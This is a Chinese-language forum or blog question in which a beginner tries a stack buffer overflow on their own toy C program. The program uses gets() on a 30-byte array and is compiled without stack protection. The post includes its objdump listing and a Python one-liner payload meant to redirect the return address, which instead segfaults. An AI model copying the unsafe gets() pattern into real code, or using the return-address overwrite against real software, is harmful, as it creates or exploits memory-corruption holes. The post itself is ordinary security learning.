c语言用gets复制文件内容,在一个简单的C程序中使用gets()来利用Buffer Overflow

我是Buffer Overflow漏洞的新手,我从一个简单的C程序开始.

#include

#include

void execs(void){

printf("yay!!");

}

void return_input (void)

{

char array[30];

gets(array);

}

int main()

{

return_input();

return 0;

}

编译阶段

我用cc禁用堆栈保护器编译了上面的程序:

cc test.c -o test -fno-stack-protector

使用objdump转储elf文件如下:

0804843b :

804843b: 55 push %ebp

804843c: 89 e5 mov %esp,%ebp

804843e: 83 ec 08 sub $0x8,%esp

8048441: 83 ec 0c sub $0xc,%esp

8048444: 68 10 85 04 08 push $0x8048510

8048449: e8 b2 fe ff ff call 8048300

804844e: 83 c4 10 add $0x10,%esp

8048451: 90 nop

8048452: c9 leave

8048453: c3 ret

08048454 :

8048454: 55 push %ebp

8048455: 89 e5 mov %esp,%ebp

8048457: 83 ec 28 sub $0x28,%esp

804845a: 83 ec 0c sub $0xc,%esp

804845d: 8d 45 da lea -0x26(%ebp),%eax

8048460: 50 push %eax

8048461: e8 aa fe ff ff call 8048310

8048466: 83 c4 10 add $0x10,%esp

8048469: 90 nop

804846a: c9 leave

804846b: c3 ret

0804846c :

804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx

8048470: 83 e4 f0 and $0xfffffff0,%esp

8048473: ff 71 fc pushl -0x4(%ecx)

8048476: 55 push %ebp

8048477: 89 e5 mov %esp,%ebp

8048479: 51 push %ecx

804847a: 83 ec 04 sub $0x4,%esp

804847d: e8 d2 ff ff ff call 8048454

8048482: b8 00 00 00 00 mov $0x0,%eax

8048487: 83 c4 04 add $0x4,%esp

804848a: 59 pop %ecx

804848b: 5d pop %ebp

804848c: 8d 61 fc lea -0x4(%ecx),%esp

804848f: c3 ret

所以,为了利用缓冲区(数组),我们需要通过查看转储来查找return_input堆栈帧中分配的字节数,

lea -0x26(%ebp),%eax

是十六进制的0x26或十进制的大约38.因此,输入为:

38+4(random chars)+(return addr of execs)

将执行execs函数.我使用了以下内容:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test

但输出错误是:

Segmentation fault(core dumped)

当我使用gdb打开核心(核心转储文件)时,我发现在执行以下地址时遇到了分段错误:

0xb76f2300

系统信息:

Ubuntu version : 16.10

Kernel version : 4.8.0-46-generic

题?

我在代码中做错了什么?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值